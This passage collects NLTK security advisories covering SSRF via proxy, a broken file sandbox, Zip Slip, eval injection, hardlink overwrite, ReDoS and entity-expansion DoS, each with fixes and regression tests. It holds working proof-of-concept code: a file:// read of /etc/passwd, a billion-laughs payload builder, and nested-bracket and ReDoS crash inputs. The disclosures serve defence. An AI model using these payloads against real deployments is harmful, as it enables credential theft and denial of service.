{'urlopen': 'PROXY_TEXT_SECRET', 'data_load': 'PROXY_TEXT_SECRET', 'downloaded_file': 'INTERNAL_ZIP_SECRET'}
Impact
Consumers that trust pathsec as an SSRF barrier in proxied environments can be made to read internal-only HTTP resources, load forged downloader indexes, and install attacker-chosen package content fetched from the proxy's network view.
Remediation
Preserve destination validation for the actual proxy egress target or fail closed when the request would otherwise downgrade into an unpinned proxied path. Add regression tests across pathsec.urlopen, nltk.data.load, and downloader fetches with a configured proxy.
References
- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/pathsec.py#L468-L518
- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/data.py#L1247-L1283
- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/downloader.py#L875-L889
- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/downloader.py#L1220-L1226
- https://github.com/nltk/nltk/blob/3.9.4/nltk/pathsec.py#L245-L250
Fix + attack demonstration (verified)
NLTK cannot pin the egress through a proxy, so it stops pretending to: under ENFORCE a proxied fetch is refused rather than performed unvalidated. Operators who trust their proxy opt back in with NLTK_ALLOW_PROXIED_URLOPEN=1 or nltk.pathsec.ALLOW_PROXIED_FETCH=True; under ENFORCE=False the refusal degrades to a warning. This closes the whole class (environment proxies and explicit ProxyHandler alike), because NLTK declines any fetch whose egress it cannot validate.
Attack demonstration (reproduced; captured output)
A loopback HTTP server stands in for the internal target; http_proxy points at it; NLTK is asked for a public IP URL.
Before the fix — the internal secret is exfiltrated through the proxy: validate_network_url(public): PASSED *** BYPASS: pathsec.urlopen returned INTERNAL content via proxy: 'INTERNAL_ONLY_SECRET'
After the fix — five scenarios, isolated subprocesses: | Scenario | Result | |---|---| | proxied (env) + ENFORCE | PermissionError — blocked | | proxied + opt-in | returns secret — escape hatch works | | explicit ProxyHandler (not env) + ENFORCE | PermissionError — blocked (whole class) | | no proxy (direct) | internal IP still refused — pinning intact | | proxied + ENFORCE=False | returns secret + warns |
Tests
nltk/test/unit/test_pathsec.py: 64 passed. Added an end-to-end regression (test_proxied_fetch_does_not_reach_internal_target) plus test_env_proxy_fails_closed_under_enforce; the prior test_env_proxy_skips_pinning_handlers (which encoded the vulnerable path) is re-expressed as the opt-in case. Existing direct-path DNS-rebinding and IP-policy tests unchanged and passing. pre-commit (isort/black/ruff) clean.
Note
The upfront validate_network_url() and the direct-path IP pinning (from the earlier DNS-rebinding fixes, CVE-2026-54296 / GHSA-qvv7) are unchanged — this only closes the proxied downgrade they didn't cover.
NLTK: FileSystemPathPointer.open() sandbox check is dead code — arbitrary file read via file:// protocol
- https://github.com/nltk/nltk/security/advisories/GHSA-72r2-7mfr-5xr9
- https://nvd.nist.gov/vuln/detail/CVE-2026-65915
- https://github.com/nltk/nltk/pull/3522
- https://github.com/nltk/nltk/commit/69db9911fdba914ceeaca7aec6e892d1b14586a9
- https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3731.yaml
- https://huntr.com/bounties/a510de7b-ffaf-4a83-9bf8-fa7e63f4bd2d
- https://www.vulncheck.com/advisories/nltk-before-arbitrary-file-read-via-filesystempathpointer
- https://github.com/advisories/GHSA-72r2-7mfr-5xr9
Summary
There's a logic bug in FileSystemPathPointer.open() inside nltk/data.py that makes the sandbox check permanently inert. The guard condition is always False — meaning any file the process can read is accessible by passing a file:// URL to nltk.data.load().
Details
In nltk/data.py, FileSystemPathPointer.open() was patched at some point with a comment saying SECURITY PATCH ENFORCING SANDBOX
, but the check doesn't work: ```python def open(self, encoding=None): path = os.path.normpath(self._path)
# Block raw absolute reads such as "/" "C:\\Windows" etc.
if os.path.isabs(path) and path != os.path.normpath(self._path):
raise ValueError(f"Direct absolute file access blocked: {path}")
stream = open(self._path, "rb")
`path` is set to `os.path.normpath(self._path)` on line 1, then compared
against `os.path.normpath(self._path)` again in the condition. They are
always equal. The `ValueError` never fires.
On top of that, `__init__` already calls `os.path.abspath()` before storing
`self._path`, so it's normalized before `open()` is even called. Running
`normpath` on it again changes nothing.
The `stream = open(self._path, "rb")` line is always reached regardless of
what path was passed in.
---
### PoC
Tested on Python 3.11, NLTK 3.9.1, Ubuntu 22.04.
```python
import nltk
from nltk.data import FileSystemPathPointer
# direct construction
ptr = FileSystemPathPointer("/etc/passwd")
with ptr.open() as f:
print(f.read(300))
# via load() using file:// URL
data = nltk.data.load("file:///etc/passwd", format="raw")
print(data[:300])
Both print file contents. No exception is raised.
Impact
Any app that lets users influence the string passed to nltk.data.load() or nltk.data.find() is exposed — web APIs, notebook servers, multi-tenant pipelines. An attacker can read any file the process user has access to: /etc/passwd, .env files, private keys, ~/.aws/credentials, etc.
Suggested Fix
File: nltk/data.py — FileSystemPathPointer.open() (lines 378–390)
What's wrong
Line 387 compares normpath(self._path) against itself — always equal, so the ValueError never fires. The check is dead code. __init__ already calls abspath() on construction, so re-running normpath inside open() changes nothing either.
Fix
Validate against the actual list of permitted data directories instead: python def open(self, encoding=None): import nltk.data as _d allowed = [os.path.abspath(p) for p in _d.path if p] if allowed and not any( os.path.commonpath([self._path, r]) == r for r in allowed ): raise ValueError( f"Access outside nltk_data blocked: {self._path!r}" ) stream = open(self._path, "rb") if encoding is not None: stream = SeekableUnicodeStreamReader(stream, encoding) return stream
Why commonpath not startswith
startswith is bypassable by a path that shares a prefix: /tmp/nltk_data_evil".startswith("/tmp/nltk_data") → True ✗ commonpath(["/tmp/nltk_data_evil", "/tmp/nltk_data"]) → "/tmp" ✓
Diff
- path = os.path.normpath(self._path)
- if os.path.isabs(path) and path != os.path.normpath(self._path):
- raise ValueError(f"Direct absolute file access blocked: {path}")
-
+ import nltk.data as _d
+ allowed = [os.path.abspath(p) for p in _d.path if p]
+ if allowed and not any(
+ os.path.commonpath([self._path, r]) == r for r in allowed
+ ):
+ raise ValueError(f"Access outside nltk_data blocked: {self._path!r}")
stream = open(self._path, "rb")
Duplicate Advisory: FileSystemPathPointer.open() sandbox check is dead code — arbitrary file read via file:// protocol
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-72r2-7mfr-5xr9. This link is maintained to preserve external references.
Original Description
NLTK versions before 3.10.0 contain a logic bug in FileSystemPathPointer.open() where the sandbox validation check compares a normalized path against itself, making the security check permanently inert. Attackers can pass file:// URLs to nltk.data.load() to read arbitrary files accessible to the process user, including credentials and configuration files.
NLTK has a Zip Slip Vulnerability
- https://nvd.nist.gov/vuln/detail/CVE-2025-14009
- https://huntr.com/bounties/49ecbc02-054e-4470-b2e0-b267936cc4e4
- https://github.com/nltk/nltk/pull/3468
- https://github.com/nltk/nltk/commit/1056b323af6462455571302e766b67cf300aea18
- https://github.com/advisories/GHSA-7p94-766c-hgjp
- https://github.com/nltk/nltk/blob/4154eb85e832f266660a09286c7e37e308292284/ChangeLog#L1
- https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-96.yaml
A critical vulnerability exists in the NLTK downloader component of nltk/nltk, affecting all versions. The unzipiter function in nltk/downloader.py uses zipfile.extractall() without performing path validation or security checks. This allows attackers to craft malicious zip packages that, when downloaded and extracted by NLTK, can execute arbitrary code. The vulnerability arises because NLTK assumes all downloaded packages are trusted and extracts them without validation. If a malicious package contains Python files, such as init.py, these files are executed automatically upon import, leading to remote code execution. This issue can result in full system compromise, including file system access, network access, and potential persistence mechanisms.
NLTK vulnerable to Eval Injection via collocations CLI arguments
- https://nvd.nist.gov/vuln/detail/CVE-2025-71408
- https://github.com/nltk/nltk/pull/3465
- https://github.com/nltk/nltk/commit/66f14096d952ec8f04934f515e027534bd4eb0ac
- https://aydinnyunus.github.io/2026/06/07/command-injection-nltk-collocations-eval
- https://github.com/nltk/nltk/releases/tag/3.9.3
- https://www.vulncheck.com/advisories/nltk-eval-injection-via-collocations-py-command-line-arguments
- https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3657.yaml
- https://github.com/advisories/GHSA-848c-c2cx-j7qx
NLTK (Natural Language Toolkit) before version 3.9.3 contains an eval injection vulnerability in the nltk.collocations module that allows an attacker who controls command-line arguments to execute arbitrary Python code. When collocations.py is invoked directly, the main block passes command-line arguments directly to eval() as suffixes of BigramAssocMeasures without allowlist validation or sanitization, enabling an attacker to supply a Python expression that escapes the intended attribute lookup and executes arbitrary code including OS commands via the os module.
Duplicate Advisory: Symlink escape in CorpusReader allows arbitrary local file read outside the corpus root
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-r6gq-whwq-mvg9. This link is maintained to preserve external references.
Original Description
NLTK versions before 3.9.4 contain a symlink escape vulnerability in CorpusReader.open() that allows local attackers to read arbitrary files outside the corpus root. The vulnerability exists because path validation is lexical and does not account for symlink resolution, enabling attackers to place symlinks inside the corpus root to access files outside the intended boundary.
NLTK: Model-artifact APIs bypass pathsec and touch files outside allowed roots
- https://github.com/nltk/nltk/security/advisories/GHSA-8mgp-746c-j5xp
- https://nvd.nist.gov/vuln/detail/CVE-2026-81726
- https://github.com/nltk/nltk/pull/3757
- https://github.com/nltk/nltk/pull/3759
- https://github.com/nltk/nltk/pull/3813
- https://github.com/nltk/nltk/commit/2a92b71827d754ae8920261e7ed0c4bb283ab2d7
- https://github.com/nltk/nltk/commit/a44a7af69bca87e92d9c4a701fcbbe4512e8d450
- https://github.com/nltk/nltk/commit/cbc98458b43de5f792f0382583c16df39e5c5117
- https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3740.yaml
- https://www.vulncheck.com/advisories/nltk-through-3.10.3-path-traversal-via-model-artifact-apis
- https://github.com/advisories/GHSA-8mgp-746c-j5xp
Summary
Several model-artifact APIs still treat caller-controlled model paths as ordinary filenames even when NLTK path security is enforced. The same outside-root paths are rejected by guarded helpers, but these public read and write flows still use raw file APIs.
Details
- Vulnerability type: File sandbox bypass
- Affected component:
TransitionParser.train,TransitionParser.parse,AveragedPerceptron.save,AveragedPerceptron.load,PerceptronTagger.save_to_json,save_maxent_params - Affected versions: Published
3.9.4and current sourcev3.10.0-rc2both reproduced. - Patched versions: Not yet patched
- Root cause: Model import and export helpers use built-in
open()on caller-controlled paths instead of pathsec-aware helpers.
TransitionParser.train() writes outside allowed roots, TransitionParser.parse() reads outside allowed roots, AveragedPerceptron bypasses the sandbox in both directions, and adjacent read-side helpers in the same family already show the intended guarded behavior. I confirmed outside-root reads and writes while pathsec.open() or the guarded sibling helpers rejected the same paths.
PoC
Preconditions - The application enables pathsec enforcement and lets untrusted workflows choose model import or export paths.
Steps 1. Enable pathsec.ENFORCE=True and restrict allowed roots to a dedicated sandbox directory. 2. Use public model import or export APIs with paths that point outside that root. 3. Observe the same paths are rejected by negative-control guarded helpers such as pathsec.open(), PerceptronTagger.load_from_json(), or load_maxent_params(). 4. Observe the vulnerable APIs still read or write outside-root files successfully.
Minimal reproducible excerpt
transition_train_exists True
transition_parse_loader_read_bytes 13
averaged_load_keys ['bias']
maxent_save wrote ['alwayson.tab', 'labels.txt']
Impact
Consumers that rely on pathsec for local containment can be tricked into reading or overwriting files outside approved roots through normal model persistence and loading APIs.
Remediation
Route all model-path file access through nltk.pathsec.open() or existing pathsec-aware helpers, and add regression tests that pair each vulnerable API with a negative control on the same path.
NLTK: Pl196xCorpusReader has quadratic ReDoS on malformed TEI blocks
- https://github.com/nltk/nltk/security/advisories/GHSA-8mpw-7fpc-4gqj
- https://nvd.nist.gov/vuln/detail/CVE-2026-81725
- https://github.com/nltk/nltk/commit/7808692d451b962711005d954859bb83aabcf8fa
- https://github.com/nltk/nltk/releases/tag/v3.10.3
- https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3752.yaml
- https://www.vulncheck.com/advisories/nltk-before-3.10.3-regular-expression-denial-of-service-via-pl196xcorpusreader
- https://github.com/advisories/GHSA-8mpw-7fpc-4gqj
Summary
Pl196xCorpusReader still parses whole TEI blocks with multiple lazy regexes over attacker-controlled text. A malformed file with many opening tags and no matching closing tags forces repeated rescans and produces quadratic CPU growth in public reader APIs.
Details
- Vulnerability type: Regular-expression denial of service
- Affected component:
nltk.corpus.reader.pl196x.TEICorpusView.read_blockandPl196xCorpusReaderpublic methods - Affected versions: Published
3.9.4and current sourcev3.10.0-rc2both reproduced. - Patched versions: Not yet patched
- Root cause: Lazy
.*?whole-block regexes rescan untrusted XML-like blocks from each opening-tag position.
The parser uses regexes for paragraphs, sentences, and word tags across the whole <text> block. When the attacker supplies many unmatched opening tags, each attempt scans toward the end of the block and fails, then restarts from the next opening tag. There is near four-times runtime growth each time the number of malformed <p> tags doubled, through normal public calls such as words() and tagged_words().
PoC
Preconditions - The application parses attacker-influenced PL196X or TEI-like corpus files through public reader APIs.
Steps 1. Create a corpus file with a valid header followed by a <text> block that contains many opening tags and no matching closing tags. 2. Instantiate Pl196xCorpusReader on that corpus. 3. Call words() or tagged_words() and measure elapsed time as the malformed tag count doubles. 4. Observe near quadratic growth instead of near-linear behavior.
Minimal reproducible excerpt
size=1000 0.014s
size=2000 0.057s
size=4000 0.231s
size=8000 0.927s
Impact
A consumer that accepts attacker-influenced corpus files can be forced into heavy CPU use and parser-thread stalling before the application concludes the input contains no valid content.
Remediation
Replace the whole-block lazy-regex parser with a linear parser or bounded tokenizer, and add regression tests that assert near-linear behavior on malformed inputs with many unmatched tags.
Duplicate Advisory: [CWE-1188] Default ENFORCE=False Disables All pathsec Security Controls
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-p3m8-78j2-g5p3. This link is maintained to preserve external references.
Original Description
NLTK versions before 3.10.0 default to ENFORCE=False in pathsec.py, causing all security validation functions to emit warnings instead of raising exceptions. Attackers can bypass path traversal and pickle deserialization protections by exploiting the disabled security controls that are only active when manually enabled.
Duplicate Advisory: Security Report: StreamBackedCorpusView Bypasses pathsec.ENFORCE - Arbitrary Local File Read
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-x5ph-mj9p-rfr8. This link is maintained to preserve external references.
Original Description
NLTK before 3.10.0 contains an arbitrary local file read vulnerability in StreamBackedCorpusView that bypasses pathsec.ENFORCE by calling builtins.open() directly instead of pathsec.open(). Attackers who control the fileid argument can read arbitrary local files regardless of the ENFORCE setting, including sensitive system files and application credentials.
Duplicate Advisory: Quadratic-time DoS in PorterStemmer via long runs of 'y'
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-ww6m-cw3f-q94g. This link is maintained to preserve external references.
Original Description
nltk PorterStemmer in versions <= 3.10.2 (fixed in 3.10.3) contains an inefficient-algorithmic-complexity denial of service in PorterStemmer.stem(). The isconsonant() helper walks backward over the entire run of trailing 'y' characters on every call, and _measure() invokes it for each stem position, causing O(n^2) behavior. A single ~20-50 KB untrusted token consisting of a long run of the letter 'y' followed by a matching suffix (e.g., 'ness') can pin a CPU core for seconds to minutes, causing availability impact.
NLTK: Entity-expansion DoS (billion laughs) via remaining raw ElementTree parses
- https://github.com/nltk/nltk/security/advisories/GHSA-97qj-x29f-37w7
- https://nvd.nist.gov/vuln/detail/CVE-2026-78681
- https://github.com/nltk/nltk/commit/e91789c9a043296ad04912ce171c22776d45963b
- https://github.com/nltk/nltk/releases/tag/v3.10.3
- https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3748.yaml
- https://www.vulncheck.com/advisories/nltk-before-entity-expansion-dos-via-elementtree
- https://github.com/advisories/GHSA-97qj-x29f-37w7
Several XML parsing sites in NLTK still used xml.etree.ElementTree directly, which honours <!ENTITY> declarations in a document's internal DTD subset. A crafted document a few hundred bytes long can expand to megabytes in memory (each nesting level multiplies by ten), a denial-of-service.
Affected call sites (<= 3.10.2): - nltk.chunk.named_entity.load_ace_file — parses ACE annotation XML - nltk.internals.ElementWrapper — converts any given string to an Element - nltk.downloader — Package.fromxml, Collection.fromxml, _find_collections, _find_packages
libexpat 2.6.0 added an input-amplification cap, but it only engages above an activation threshold (~8 MiB output) and depends on whichever libexpat the interpreter links; builds against older libexpat have no cap at all. External entities are not resolved by ElementTree, so this is a memory-amplification DoS (CWE-776), not XXE/file disclosure.
This completes the earlier defusedxml adoption that these sites were missed by. Fix routes all of them through a new nltk.xmlsec module that refuses entity declarations, preferring defusedxml and falling back to a standard-library xml.parsers.expat pre-scan when defusedxml is absent.
Attack demonstration
Reproducible PoC against a real affected entry point (nltk.internals.ElementWrapper). Every number below is captured output, not illustrative.
1. The amplification (vulnerable path: raw xml.etree.ElementTree)
A payload of a few hundred bytes expands to megabytes in memory. Each nesting level multiplies output by 10 while adding ~56 bytes of input:
| levels | input bytes | expanded bytes | factor |
|---|---|---|---|
| 3 | 218 | 10,000 | x45 |
| 4 | 274 | 100,000 | x364 |
| 5 | 330 | 1,000,000 | x3,030 |
| 6 | 386 | (libexpat 2.7.1 cap trips) | - |
The level-6 cap is libexpat's, not NLTK's: it only engages above an ~8 MiB activation threshold, and older libexpat builds (still shipped with many 3.10/3.11 interpreters) have no cap at all. Under the threshold — up to ~1 MB per parse here — expansion always succeeds.
import xml.etree.ElementTree as ET
def bomb(levels):
d = "\n".join(f'<!ENTITY e{i} "{("&e%d;"%(i-1))*10}">' for i in range(1, levels+1))
return f'<!DOCTYPE d [<!ENTITY e0 "AAAAAAAAAA">{d}]><d>&e{levels};</d>'
ET.fromstring(bomb(5)) # -> element whose .text is 1,000,000 chars
2. The patched entry point rejects it
>>> from nltk.internals import ElementWrapper
>>> ElementWrapper(bomb(5))
EntitiesForbidden: EntitiesForbidden(name='e0', ...)
3. Why a text-based screen is not enough
An entity declaration can hide behind a decoy <!DOCTYPE> in a prolog comment. Raw ElementTree still processes the real declaration and expands; a guard that walks the DOCTYPE text is fooled. The shipped guard re-parses with expat, so it is not:
evil = '<!-- <!DOCTYPE x [ ] > --><!DOCTYPE d [<!ENTITY a "PPPP...">]><d>&a;</d>'
raw ElementTree -> EXPANDS ('PPPPPPPPPPPP...', 40 chars)
nltk.xmlsec -> REJECTED (EntitiesForbidden)
An earlier draft of the fallback that walked the text was bypassed by this and 4 similar payloads (decoy DOCTYPE in a PI, stray ] inside a PI in the internal subset). All five are now regression tests.
4. Both back ends block it
nltk.xmlsec prefers defusedxml and falls back to a stdlib xml.parsers.expat pre-scan. Same payloads, defusedxml hidden to force the fallback:
stdlib fallback | billion-laughs -> REJECTED (EntitiesForbidden)
stdlib fallback | comment-decoy differential -> REJECTED (EntitiesForbidden)
Environment: python 3.13.7, libexpat 2.7.1. Confirmed identical amplification on python 3.10 (NLTK's floor).
ntlk unsafe deserialization vulnerability
- https://nvd.nist.gov/vuln/detail/CVE-2024-39705
- https://github.com/nltk/nltk/issues/2522
- https://github.com/nltk/nltk/issues/3266
- https://github.com/advisories/GHSA-cgvx-9447-vcch
- https://github.com/nltk/nltk/commit/441aecb7d33014bd08672232c6c8bb69c2ceaba2
- https://www.vicarius.io/vsociety/posts/rce-in-python-nltk-cve-2024-39705-39706
- https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2024-167.yaml
NLTK through 3.8.1 allows remote code execution if untrusted packages have pickled Python code, and the integrated data package download functionality is used. This affects, for example, averagedperceptrontagger and punkt.
Duplicate Advisory: pathsec SSRF protection can be bypassed when a proxy is configured
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-6ww7-3frv-cqxh. This link is maintained to preserve external references.
Original Description
NLTK before 3.10.3 contains a server-side request forgery vulnerability in nltk.pathsec.urlopen (and callers nltk.data.load, nltk.downloader.Downloader.index/download) when an HTTP proxy is configured. pathsec.urlopen validates the requested hostname locally, but proxy-handler inheritance disables the safe HTTP/HTTPS handlers so the actual fetch is performed by the proxy against a destination that is never re-validated. An attacker can supply a validated public URL that the proxy forwards to an internal loopback-only service, allowing disclosure of internal HTTP resources, loading of forged downloader indexes, and installation of attacker-chosen package content.
Duplicate Advisory: Natural Language Toolkit (NLTK) has unbounded recursion in JSONTaggedDecoder.decode_obj() may cause DoS
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-rf74-v2fm-23pw. This link is maintained to preserve external references.
Original Description
NLTK versions before 3.9.4 contain an unbounded recursion vulnerability in JSONTaggedDecoder.decode_obj() that allows attackers to cause denial of service by supplying deeply nested JSON structures. Attackers can craft JSON payloads exceeding the recursion limit to trigger an unhandled RecursionError that crashes the Python process.
NLTK: Uncontrolled recursion in nltk.featstruct.FeatStructReader causes unhandled RecursionError (DoS) via deeply nested feature-structure input
- https://github.com/nltk/nltk/security/advisories/GHSA-cw6x-m8jw-qmrh
- https://nvd.nist.gov/vuln/detail/CVE-2026-81724
- https://github.com/nltk/nltk/commit/43c7b78cc8ea37e5cd3a129e27e32c415ea21cf1
- https://github.com/nltk/nltk/releases/tag/v3.10.3
- https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3739.yaml
- https://www.vulncheck.com/advisories/nltk-before-3.10.3-denial-of-service-via-uncontrolled-recursion
- https://github.com/advisories/GHSA-cw6x-m8jw-qmrh
Summary
nltk.featstruct.FeatStructReader (used by FeatStruct(str) and by FeatureGrammar.fromstring()) parses feature-structure strings such as [a=1] with a recursive-descent parser that has no nesting-depth limit. A small, trivially-crafted input (~700 bytes) with deeply nested brackets drives the parser past Python's recursion limit and raises an unhandled RecursionError instead of the library's normal, catchable ValueError/LogicalExpressionException. Any application that parses user-supplied feature-structure or feature-grammar text (e.g. NLP teaching tools, grammar playgrounds
, unification-grammar-based NLU pipelines) can be crashed by an unauthenticated input with no special privileges. This is a Denial of Service issue (CWE-674, Uncontrolled Recursion), not a memory-safety or code-execution issue.
This appears to be the same bug class as two issues already fixed elsewhere in the codebase — nltk/jsontags.py (JSONTaggedDecoder.decode_obj, guarded by MAX_DECODE_DEPTH = 200) and nltk/sem/logic.py (LogicParser, guarded by MAX_PARSE_DEPTH = 200) — but nltk/featstruct.py does not have an equivalent guard.
Details
The recursive call chain (current develop branch, nltk/featstruct.py):
FeatStructReader.fromstring()(featstruct.py:2184) callsread_partial()→_read_partial()(featstruct.py:2250)._read_partial()dispatches to_read_partial_featdict(), which calls_read_value()(featstruct.py:2436) for each feature's value._read_value()callsread_value()(featstruct.py:2442), which matches the value againstVALUE_HANDLERS(featstruct.py:2478).- If the value itself starts with
[(a nested feature structure), the matched handler isread_fstruct_value(featstruct.py:2479, defined atfeatstruct.py:2495):python def read_fstruct_value(self, s, position, reentrances, match): return self.read_partial(s, position, reentrances)This callsread_partial()again, which re-enters_read_partial()— the same function from step 1.
This closes a recursive cycle (_read_partial → _read_value → read_value → read_fstruct_value → read_partial → _read_partial → ...) with no depth counter, no MAX_*_DEPTH constant, and no try/except RecursionError anywhere in the class. Each additional [ in the input adds one more full cycle of Python stack frames. Once the input nests deeply enough, Python's own recursion-limit protection fires and raises RecursionError, which is not a subclass of ValueError (the exception type this parser's own _error() helper raises for normal, well-formed parse errors) and therefore propagates uncaught through this API.
For comparison, nltk/sem/logic.py's LogicParser was hardened against exactly this class of issue: ```python
: Maximum expression-nesting depth the recursive-descent parser will
: descend to. Deeply nested input would otherwise recurse until Python
: raises an uncaught RecursionError and crashes the caller
: (uncontrolled recursion, CWE-674); past this depth a normal
: LogicalExpressionException is raised instead. Configurable.
MAXPARSEDEPTH = 200 `` (nltk/sem/logic.py:102-107), andnltk/jsontags.py'sJSONTaggedDecodersimilarly hasMAXDECODEDEPTH = 200with an explicit depth check.nltk/featstruct.py` has no analogous protection.
FeatureGrammar.fromstring() (nltk/grammar.py) parses feature structures embedded in FCFG grammar rules via the same FeatStructReader, so the same crash is reachable through grammar-string parsing as well as through FeatStruct() directly.
PoC
Verified against the current develop branch in a clean virtualenv (Python 3.12, NLTK installed from this checkout via pip install -e .):
from nltk.featstruct import FeatStruct
depth = 167
payload = "[a=" * depth + "1" + "]" * depth # 669 bytes
FeatStruct(payload)
Result: Traceback (most recent call last): ... File ".../nltk/featstruct.py", line 2310, in _read_partial_featdict value, position = self._read_value(name, s, position, reentrances) File ".../nltk/featstruct.py", line 2440, in _read_value return self.read_value(s, position, reentrances) File ".../nltk/featstruct.py", line 2446, in read_value return handler_func(s, position, reentrances, match) [... repeats ~167 times ...] RecursionError: maximum recursion depth exceeded
- Crash threshold: nesting depth 167 (binary-searched between 50 and 200).
- Payload size: 669 bytes — fits trivially in a single HTTP request body/query parameter.
- Time to crash: <2ms — no resource exhaustion is needed, only recursion depth.
Minimal reproduction (no server required): bash python3 -c " from nltk.featstruct import FeatStruct FeatStruct('[a=' * 200 + '1' + ']' * 200) "
Illustrative server-side context (not part of NLTK itself, but representative of how the bug becomes reachable): ```python from flask import Flask, request from nltk.featstruct import FeatStruct
app = Flask(name)
@app.route(/parse
, methods=[POST
]) def parse_grammar(): return {result
: str(FeatStruct(request.json[grammar
]))} `` A POST of{grammar
: [a=
* 200 + 1
+ ]
* 200}to this endpoint raises the uncaughtRecursionError` inside the request handler.
Impact
Vulnerability type: Denial of Service via uncontrolled recursion (CWE-674). This is not a memory-corruption bug and does not lead to code execution or data disclosure — Python's own recursion-limit safety net converts what would be a C-level stack overflow into a catchable (but here, uncaught) RecursionError.
Who is affected: Any application that passes externally-supplied text into nltk.featstruct.FeatStruct() or nltk.grammar.FeatureGrammar.fromstring() — for example, NLP/computational-linguistics teaching tools, unification-grammar demo services, or NLU pipelines that accept user-authored feature grammars. This is a narrower slice of NLTK's user base than, e.g., tokenization or POS tagging, since feature-structure/unification-grammar parsing is a more specialized part of the library.
Practical severity depends on deployment: - In typical WSGI-style web frameworks (Flask/Django/FastAPI behind gunicorn/uwsgi), an uncaught exception inside a request handler is caught at the framework/server boundary: the single request fails (HTTP 500), the worker process itself survives, and unaffected requests are unimpacted. - In single-threaded or per-task-unprotected contexts (e.g. a queue-consuming worker without per-task exception isolation), the uncaught RecursionError can terminate the entire process; without a process supervisor that auto-restarts it, this is a persistent outage until manually restarted. An attacker who repeats the payload can keep such a worker in a crash loop for as long as the attack continues.
Suggested fix: Add a depth counter and a MAX_PARSE_DEPTH-style constant to FeatStructReader, mirroring the existing fix in nltk/sem/logic.py, and raise the library's normal ValueError-based parse error once the limit is exceeded instead of letting RecursionError propagate.
NLTK: Downloader.download follows hardlinks and overwrites outside-root files
- https://github.com/nltk/nltk/security/advisories/GHSA-f794-5jv7-7672
- https://nvd.nist.gov/vuln/detail/CVE-2026-81727
- https://github.com/nltk/nltk/pull/3797
- https://github.com/nltk/nltk/commit/9e6d5f05902b9aaa1221a0a565448d17a9c9b3e8
- https://github.com/nltk/nltk/releases/tag/v3.10.3
- https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3741.yaml
- https://www.vulncheck.com/advisories/nltk-before-3.10.3-hardlink-file-overwrite-via-downloader
- https://github.com/advisories/GHSA-f794-5jv7-7672
Summary
NLTK's downloader now blocks symlink escapes during ZIP extraction, but it still treats pre-existing hardlinks inside the install tree as ordinary in-root files. A normal package install can therefore overwrite an outside-root inode through that hardlink.
Details
- Vulnerability type: Filesystem containment bypass
- Affected component:
nltk.downloader.Downloader.download,nltk.downloader.Downloader.incr_download - Affected versions: Published
3.9.4and current sourcev3.10.0-rc2both reproduced for the extraction-stage overwrite. - Patched versions: 3.10.3
- Root cause: The downloader validates traversal and symlink conditions but does not reject pre-existing hardlink aliases inside the install tree.
The install flow correctly rejects a pre-existing symlink at an extraction target, yet it accepts a pre-existing hardlink at the same path. When the package is installed, extracted member data is written through the hardlink and mutates the outside inode.
PoC
Preconditions - The attacker can plant files inside a writable shared downloader root on the same filesystem as the target file.
Steps 1. Prepare a downloader root and create a hardlink inside it that points to an outside target file. 2. Confirm a symlink at the same path is rejected as a negative control. 3. Run a normal Downloader.download() package install whose extracted member lands on the hardlink path. 4. Observe the outside target file is overwritten while the downloader still reports the package as installed.
Minimal reproducible excerpt
extract_hardlink_before ORIGINAL
extract_hardlink_after PWNED
extract_hardlink_status installed
Impact
A shared or attacker-influenced downloader directory can be turned into an overwrite primitive against same-filesystem files outside the intended install root.
Remediation
Treat pre-existing hardlinks as unsafe in extraction targets, verify that each write path stays within the intended install tree at the inode level, and add regression tests that pair hardlinks with existing symlink controls.
Inefficient Regular Expression Complexity in nltk (word_tokenize, sent_tokenize)
- https://github.com/nltk/nltk/security/advisories/GHSA-f8m6-h2c7-8h9x
- https://nvd.nist.gov/vuln/detail/CVE-2021-43854
- https://github.com/nltk/nltk/issues/2866
- https://github.com/nltk/nltk/pull/2869
- https://github.com/nltk/nltk/commit/1405aad979c6b8080dbbc8e0858f89b2e3690341
- https://github.com/advisories/GHSA-f8m6-h2c7-8h9x
- https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2021-859.yaml
Impact
The vulnerability is present in PunktSentenceTokenizer, sent_tokenize and word_tokenize. Any users of this class, or these two functions, are vulnerable to a Regular Expression Denial of Service (ReDoS) attack. In short, a specifically crafted long input to any of these vulnerable functions will cause them to take a significant amount of execution time. The effect of this vulnerability is noticeable with the following example: ```python from nltk.tokenize import word_tokenize
n = 8 for length in [10**i for i in range(2, n)]: # Prepare a malicious input text = a
* length startt = time.time() # Call `wordtokenizeand naively measure the execution time word_tokenize(text) print(f"A length of {length:<{n}} takes {time.time() - start_t:.4f}s") Which gave the following output during testing: python A length of 100 takes 0.0060s A length of 1000 takes 0.0060s A length of 10000 takes 0.6320s A length of 100000 takes 56.3322s ... `` I canceled the execution of the program after running it for several hours.
If your program relies on any of the vulnerable functions for tokenizing unpredictable user input, then we would strongly recommend upgrading to a version of NLTK without the vulnerability, or applying the workaround described below.
Patches
